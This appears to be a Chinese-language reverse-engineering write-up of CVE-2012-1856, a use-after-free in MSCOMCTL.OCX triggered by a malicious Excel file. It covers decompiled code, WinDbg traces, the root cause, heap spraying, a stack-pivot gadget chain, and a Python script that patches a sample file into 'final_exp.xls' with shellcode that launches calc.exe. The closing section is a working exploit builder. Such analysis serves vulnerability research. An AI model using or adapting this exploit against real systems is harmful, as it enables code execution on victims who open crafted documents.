CVE-2012-1856 Office UAF

Analyze

打开样本文件,并没有发生crash
不过关闭的时候,EXECL会发生错误
在关闭文件时attach进程,即可看到crash位置:
crash
对应位置在CObjColl::Clear:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int __thiscall CObjColl::Clear(#243 *this)
{
#243 *v1; // esi
_DWORD *v2; // eax
_DWORD *v4; // edi
int v5; // ecx

v1 = this;
CObjColl::ClearTree(this);
v2 = (_DWORD *)*((_DWORD *)v1 + 9);
if ( v2 )
{
do
{
v4 = (_DWORD *)v2[10];
v5 = v2[7];
v2[18] = 0;
(*(void (__stdcall **)(_DWORD *))(v5 + 8))(v2 + 7);// free here
v2 = v4;
}
while ( v4 );
}
*((_DWORD *)v1 + 17) = -1;
*((_DWORD *)v1 + 15) = 0;
*((_DWORD *)v1 + 9) = 0;
*((_DWORD *)v1 + 10) = 0;
*((_DWORD *)v1 + 11) = 0;
return 0;
}

动态调试看到正常调用链:

1
2
3
4
CListItem::Release->
CObj::ExternalRelease->
CUnknownObject::CPrivateUnknownObject::Release->
CTab::`scalar deleting destructor'

在CTab::`scalar deleting destructor’中:

1
2
3
4
5
6
7
8
9
10
CTab *__thiscall CTab::`scalar deleting destructor'(CTab *this, char a2)
{
CTab *v2; // esi

v2 = this;
CTab::~CTab(this);
if ( a2 & 1 && v2 )
HeapFree(g_hHeap, 0, (LPVOID)v2);
return v2;
}

看到首先调用CTab析构函数而后free掉此CTab结构
同时可以看到CTab析构函数的调用关系:

1
2
3
CTab::~CTab->
CObj::~CObj->
CAutomationObject::~CAutomationObject

由此也可以看出三个类之间的继承关系:

1
CAutomationObject->CObj->CTab

大致猜测漏洞:此CTab结构体在最后CObjColl::Clear进行处理前已被释放,此heap chunk被重新分配,原本对应用于调用析构函数的偏移处被其他数据填充
下面便是定位具体free的地方
第一想法就是关闭ALSR,此时对应触发UAF的chunk地址确定,下硬件断点跟踪程序流即可
关于Windows下关闭ALSR
Windows 7前直接修改注册表:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management
下添加dword变量MoveImages=00000000 即可
Windows 7及其后,需要使用EMET关闭:

1
https://support.microsoft.com/zh-cn/help/2909257/emet-mitigations-guidelines

(理论上支持win10/8/7,但是windows10上总是安装不成功,只好在Windows7上使用)
EMET
不过比较坑的一点是关闭ALSR后栈地址固定,堆地址依然随机(这里不太明白,和Linux很不一样??)
选择另一个方案,打开文件后拍摄快照,crash后记下对应地址,又出现了一个坑,第一次跟踪:

1
2
3
4
5
6
7
8
9
10
11
0:005> ba r4 38cc7c-0x1c
0:005> g
SetContext failed, 0x80070005
MachineInfo::SetContext failed - Thread: 008D78B8 Handle: 4c8 Id: 67c - Error == 0x80070005
Breakpoint 0 hit
eax=27586488 ebx=00000000 ecx=0038cc60 edx=00389100 esi=00387af0 edi=0038cfb0
eip=27587a15 esp=0018d0b8 ebp=0018d128 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\SysWOW64\MSCOMCTL.OCX -
MSCOMCTL+0x7a15:
27587a15 ff5008 call dword ptr [eax+8] ds:002b:27586490=27587af1

单步执行返回找到调用处为CObjColl::Clear
重新恢复后下条件断点

1
bu 27582E14  ".printf \"Cobj::Clear->%08x\\n\",eax;g;"

Address
可以看到0x38CC60处被clear了两次,第二次时即会crash
不过实际上只有这一次是关闭文件时触发了漏洞
正常情况下应该是打开文件时触发了free,因为后来复现的时候没有一次出现关闭文件时两次free情况(第一次不知道怎么触发的关闭文件时double free,保存了快照以后研究)
这时候选择从开始打开就下条件断点查看Cobj::Clear过程
因为MSCOMCTL.OCX开始未加载,无法直接下断,打开文件后才会加载,所以要在MSCOMCTL.OCX加载后文件打开前下断,因为MSCOMCTL.OCX加载基址固定,直接在对应位置下硬件断点,在LoadBinary后即可下断Cobj::Clear

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
0:000> g
Cobj::Clear->005a89e0
Cobj::Clear->005a8a78
Cobj::Clear->005a8a78
Cobj::Clear->005a8b10
Cobj::Clear->005a8cd8
Cobj::Clear->005a8ea0
Cobj::Clear->005a9068
Cobj::Clear->005a9230
Cobj::Clear->005a93f8
Cobj::Clear->005a95c0
Cobj::Clear->005a9788
Cobj::Clear->005a9950
Cobj::Clear->005a9b18
Cobj::Clear->005a9ce0
Cobj::Clear->005a9ea8
Cobj::Clear->005aa070
Cobj::Clear->005aa238
Cobj::Clear->005aa400
Cobj::Clear->005aa5c8
Cobj::Clear->005aa790
Cobj::Clear->06c722b8
Cobj::Clear->06c72480
Cobj::Clear->06c72648
Cobj::Clear->06c72810
Cobj::Clear->06c729d8
Cobj::Clear->06c72ba0
Cobj::Clear->06c72d68
Cobj::Clear->06c72f30
Cobj::Clear->06c730f8
Cobj::Clear->06c732c0
Cobj::Clear->06c73488
Cobj::Clear->06c73650
(a30.198): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=06c7366c ebx=00000000 ecx=00730069 edx=00000036 esi=005ca67c edi=0072006f
eip=27582e21 esp=0018d024 ebp=0018d0d0 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
MSCOMCTL+0x2e21:
27582e21 ff5108 call dword ptr [ecx+8] ds:002b:00730071=????????

可以看到触发点并不是这里
不过通过第一次的crash位置,造成crash的delete位置在CButton的析构函数中,而Cobj::Clear也是循环调用CTab的析构函数,对几个主要析构函数下断,其中,CTab::~CTab下:

1
bu 275A3FCF  ".printf \"CTab::~CTab->%08x\\n\",ecx;g;"

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
0:000> g
CTab::~CTab->00658228
CTab::~CTab->07f3b3c8
CTab::~CTab->07f12608
CTab::~CTab->07f3b3c8
CTab::~CTab->07f54100
CTab::~CTab->07f3a9a8
CTab::~CTab->07f49ec0
CTab::~CTab->07f63510
CTab::~CTab->07f63890
CTab::~CTab->00650af8
CTab::~CTab->006808f0
CTab::~CTab->00653df0
CTab::~CTab->07f52978
CTab::~CTab->07f52b70
CTab::~CTab->0067e090
CTab::~CTab->0067e288
CTab::~CTab->0067e480
CTab::~CTab->07f3f750
CTab::~CTab->07f3f948
CTab::~CTab->07f3fb40
CTab::~CTab->07f3fd38
CTab::~CTab->07f3ff30
CTab::~CTab->07f424e0
CTab::~CTab->07f426d8
CTab::~CTab->07f428d0
CTab::~CTab->07f42ac8
CTab::~CTab->07f42cc0
CTab::~CTab->07f42eb8
CTab::~CTab->07f430b0
CTab::~CTab->07f12020
CTab::~CTab->07f12218
CTab::~CTab->07f12410
(3f4.9a4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=07f12624 ebx=00000000 ecx=66833fe6 edx=000000e3 esi=07f39bcc edi=283628f0
eip=27582e21 esp=0018d024 ebp=0018d0d0 iopl=0 nv up ei pl nz ac pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010216
MSCOMCTL+0x2e21:
27582e21 ff5108 call dword ptr [ecx+8] ds:002b:66833fee=????????

可以看到最后Crash位置0x7f12624-0x1c=0x7f12608
而可以看到此位置在CTab析构函数中free过
直接在析构函数下断点,看到调用堆栈:
Call
找到了关键位置:
在CTabStripCtrl::LoadBinaryState下:

1
2
3
4
.text:275B50CD                 push    eax             ; unsigned __int8 **
.text:275B50CE call ?LoadBinaryStateFromMemory@CTabs@@QAEJPAPAE@Z ; CTabs::LoadBinaryStateFromMemory(uchar * *)
DllGetClassObject+0x2709a:
.text:275B50D3 mov edi, eax

关键位置在DllGetClassObject+0x2709a上一步调用的函数下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
int __thiscall CTabs::LoadBinaryStateFromMemory(#271 *this, unsigned __int8 **a2)
{
#243 *v2; // esi
int v3; // ecx
int v4; // ebx
#270 *v5; // eax
int v6; // edi
int v8; // [esp-10h] [ebp-10h]
#270 *v9; // [esp-Ch] [ebp-Ch]
unsigned __int8 *v10; // [esp-8h] [ebp-8h]

v2 = this;
v3 = *((_DWORD *)this + 18);
v10 = *a2;
(*(void (__cdecl **)(int))(v3 + 56))((int)v2 + 72);
v8 = 0;
v4 = *(_DWORD *)v10;
v10 += 4;
if ( v4 <= 0 )
{
LABEL_8:
v6 = 0;
*a2 = v10;
}
else
{
while ( 1 )
{
v5 = (#270 *)CtlNewDelete::operator new(0x90u, g_hHeap);
if ( v5 )
v9 = CTab::CTab(v5, 0);
else
v9 = 0;
if ( !v9 )
return -2147024882;
v6 = CObjColl::AddItem(v2, v9, 0, 0);
if ( v6 < 0 )
break;
v6 = CTab::LoadBinaryStateFromMemory(v9, &v10);
if ( v6 < 0 )
break;
if ( ++v8 >= v4 )
goto LABEL_8;
}
if ( v9 )
(*(void (__cdecl **)(int))(*((_DWORD *)v9 + 7) + 8))((int)v9 + 28);
}
return v6;
}

流程,循环申请0x90大小空间,并初始化CTab对象,而后调用CObjColl::AddItem将其加入列表中,紧接着调用CTab::LoadBinaryStateFromMemory,注意到CTabStripCtrl::LoadBinaryState中的过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
        sub     esp, 0Ch
.text:275B51C5 mov eax, [esp+10h]
.text:275B51C9 push ebx
.text:275B51CA push ebp
.text:275B51CB mov ebx, ecx
.text:275B51CD mov ebp, [eax]
.text:275B51CF push esi
.text:275B51D0 push edi
.text:275B51D1 mov eax, [ebp+0]
.text:275B51D4 mov ecx, [ebp+4]
.text:275B51D7 add ebp, 8
.text:275B51DA mov [esp+18h], ecx
.text:275B51DE test cl, 1
.text:275B51E1 mov [ebx+64h], ax
.text:275B51E5 jnz loc_275CD249
.text:275B51EB
.text:275B51EB loc_275B51EB: ; CODE XREF: CTab::LoadBinaryStateFromMemory(uchar * *)+180C8↓j
.text:275B51EB mov eax, [esp+18h]
.text:275B51EF shr eax, 1
.text:275B51F1 test al, 1
.text:275B51F3 jnz loc_275CD28F
.text:275B51F9
.text:275B51F9 loc_275B51F9: ; CODE XREF: CTab::LoadBinaryStateFromMemory(uchar * *)+18116↓j
.text:275B51F9 mov eax, [esp+18h]
.text:275B51FD shr eax, 2
.text:275B5200 test al, 1
.text:275B5202 jnz loc_275CD2DD
.text:275B5208
.text:275B5208 loc_275B5208: ; CODE XREF: CTab::LoadBinaryStateFromMemory(uchar * *)+18164↓j
.text:275B5208 mov eax, [esp+18h]
.text:275B520C shr eax, 3
.text:275B520F test al, 1
.text:275B5211 jnz loc_275CD32B
.text:275B5217
.text:275B5217 loc_275B5217: ; CODE XREF: CTab::LoadBinaryStateFromMemory(uchar * *)+181AE↓j
.text:275B5217 lea esi, [ebx+70h]
.text:275B521A push esi ; pvarg
.text:275B521B call ds:__imp__VariantClear@4 ; VariantClear(x)
.text:275B5221 mov eax, [esp+18h]
.text:275B5225 shr eax, 4
.text:275B5228 test al, 1
.text:275B522A jnz loc_275CD375
.text:275B5230 mov word ptr [esi], 2
.text:275B5235 mov ax, [ebp+0]
.text:275B5239 inc ebp
.text:275B523A mov [ebx+78h], ax
.text:275B523E inc ebp
.text:275B523F
.text:275B523F loc_275B523F: ; CODE XREF: CTab::LoadBinaryStateFromMemory(uchar * *)+181F1↓j
.text:275B523F mov eax, [esp+20h]
.text:275B5243 mov [eax], ebp
.text:275B5245 xor eax, eax
.text:275B5247
.text:275B5247 loc_275B5247: ; CODE XREF: CTab::LoadBinaryStateFromMemory(uchar * *)+181D3↓j
.text:275B5247 pop edi
.text:275B5248 pop esi
.text:275B5249 pop ebp
.text:275B524A pop ebx
.text:275B524B add esp, 0Ch
.text:275B524E retn 4

后面也有很多这种函数,即利用文件中的定义len,SysAllocStringLen开辟内存,而后将文件中字符串复制到开辟位置
注意到crash的流程:循环到0x1F个对象,初始化,而后将初始化后CTab对象加入Item,紧接着调用CTab::LoadBinaryStateFromMemory,但是对应位置伪造的大小为0x80000044:
data
紧接着SysAllocStringLen因申请空间为0x80000044返回错误:0x8007000E(负值)
当CTab::LoadBinaryStateFromMemory返回为负时,即会break,调用最后的:

1
(*(void (__cdecl **)(int))(*((_DWORD *)v9 + 7) + 8))((int)v9 + 28);

动态下看到其就是开始定位的过程,最终即走向CTab的析构函数并释放对象,但是有一个关键点,释放后并没有将此对象从Item中删除,导致最后循环删除过程中,依然会处理这个对象造成UAF

POC

因为暂时没了解怎么脚本构造Cobj对象,直接从样本构造POC
首先程序利用点一定是CObjColl::Clear:

1
2
3
4
5
6
.text:27582E14                 mov     edi, [eax+28h]
.text:27582E17 mov ecx, [eax+1Ch]
.text:27582E1A mov [eax+48h], ebx
.text:27582E1D add eax, 1Ch
.text:27582E20 push eax
.text:27582E21 call dword ptr [ecx+8]

所以这里需要让堆块free后重新分配时可控
样本虽然最后Crash,不过下硬件断点明显看到其重新填充的过程在:
CButton::LoadBinaryStateFromMemory,即在CButton对象申请空间保存文件中对应位置字符串时,其连续使用了多组相同payload造成heap spray,使原free位置重新被分配后被payload填充
我们修改对应填充位置即可
具体利用heap spray位置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
int __thiscall CButtons::LoadBinaryStateFromMemory(CButtons *this, unsigned __int8 **a2)
{
CObjColl *v2; // esi
int v3; // ecx
int v4; // ebx
CButton *v5; // eax
int v6; // edi
int v8; // [esp+Ch] [ebp-Ch]
CButton *v9; // [esp+10h] [ebp-8h]
unsigned __int8 *v10; // [esp+14h] [ebp-4h]

v2 = this;
v3 = *((_DWORD *)this + 18);
v10 = *a2;
(*(void (__stdcall **)(int))(v3 + 56))((int)v2 + 72);
v8 = 0;
v4 = *(_DWORD *)v10;
v10 += 4;
if ( v4 <= 0 )
{
LABEL_6:
v6 = 0;
*a2 = v10;
}
else
{
while ( 1 )
{
v5 = (CButton *)CtlNewDelete::operator new(0xF8u, g_hHeap);
JUMPOUT(v5, 0, &CButtons::LoadBinaryStateFromMemory);
v9 = (CButton *)CButton::CButton(v5, 0);
if ( !v9 )
return -2147024882;
v6 = CObjColl::AddItem(v2, v9, 0, 0);
if ( v6 < 0 )
break;
v6 = CButton::LoadBinaryStateFromMemory(v9, &v10);// malloc_new && use here
if ( v6 < 0 )
break;
if ( ++v8 >= v4 )
goto LABEL_6;
}
if ( v9 )
(*(void (__stdcall **)(int))(*((_DWORD *)v9 + 7) + 8))((int)v9 + 28);
}
return v6;
}

首先利用Ropchain将ip置到我们的堆块下:
一个小trike,直接利用函数表中函数,这里的函数地址在代码段一般都会有,因为要初始化对象,mov过程或者定义offset就会存在该函数地址
选择利用:

1
2
.text:27582E20                 push    eax
.text:27582E21 call dword ptr [ecx+8]

在栈中会有可控堆指针
连续两次调用,其中一次retn x
x为适当值即可改变栈帧,返回到堆地址
选择:

1
2
3
4
5
6
7
8
.text:275912FF ?AddRef@CPropertyPage@@UAGKXZ proc near ; CODE XREF: [thunk]:CStandardPropPage::AddRef`adjustor{28}' (void)+5↓j
.text:275912FF ; DATA XREF: .text:2759146C↓o ...
.text:275912FF mov eax, [esp+4]
.text:27591303 lea ecx, [eax-14h]
.text:27591306 mov eax, [eax-14h]
.text:27591309 call dword ptr [eax+4]
.text:2759130C retn 4
.text:2759130C ?AddRef@CPropertyPage@@UAGKXZ endp

1
2
3
4
5
6
7
8
9
10
.text:27601762 ?IsPageDirty@CPropertyPage@@UAGJXZ proc near
.text:27601762 ; DATA XREF: .text:275E4DD8↑o
.text:27601762 ; .text:275E4E58↑o ...
.text:27601762 mov eax, [esp+4]
.text:27601766 mov eax, [eax+14h]
.text:27601769 shr eax, 1
.text:2760176B not al
.text:2760176D and eax, 1
.text:27601770 retn 4
.text:27601770 ?IsPageDirty@CPropertyPage@@UAGJXZ endp

(使用交叉引用就可以看到代码段中很多位置保存这两个函数地址,选择两个构造POC即可)
第一次调用
调用此函数mov eax, [eax-14h],eax再次为堆块可控数据位置
而后call dword ptr [eax+4]紧接着调用一个可以直接正确返回且retn 4的函数,栈帧被破坏,此时当第一个函数ret时,返回地址变为开始时push的堆地址,而后ip变为堆初始偏移0x14,即第一个伪造地址处,此时ip位置是第一次在堆中伪造的地址处,可能有奇怪的汇编,选择适合的机器码即时jmp到真正shellcode处即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
stream=""
key1=""
key2=""
S=[ 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0xda, 0x89, 0x5B, 0x27,0XFF,0XFF]
S2=[0x41, 0x00, 0x41, 0x00,0xd4, 0x4d, 0x5e, 0x27, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x41, 0x00, 0x64, 0x14, 0x59, 0x27,0XEB,0X2A]
for i in S:
key1+=chr(i)
for i in S2:
key2+=chr(i)
with open("poc.xls","rb+") as f:
stream=f.read()
stream=stream.replace(key1,key2)
old_code="\x31\xd2\x66\x81"
''' push ebp\
mov ebp,esp\
mov eax,0x275810EC\
mov ebx,[eax]\
sub ebx,0x11245\
xor eax,eax\
push eax\
mov eax,0x6578652e\
push eax\
mov eax,0x636c6163\
push eax\
mov eax,esp\
push 5\
push eax\
mov eax,ebx\
add eax,0x93229\
call eax\
xor eax,eax\
push eax\
mov eax,ebx\
add eax,0x17a28\
call eax\
mov esp,ebp\
pop ebp'''
shellcode="5589e5b8ec1058278b1881eb4512010031c050b82e65786550b863616c635089e06a055089d80529320900ffd031c05089d805287a0100ffd089ec5d".decode("hex")
index=stream.index(old_code)
code=stream[index:index+len(shellcode)]
stream=stream.replace(code,shellcode)
with open("final_exp.xls","wb+") as f2:
f2.write(stream)

PWN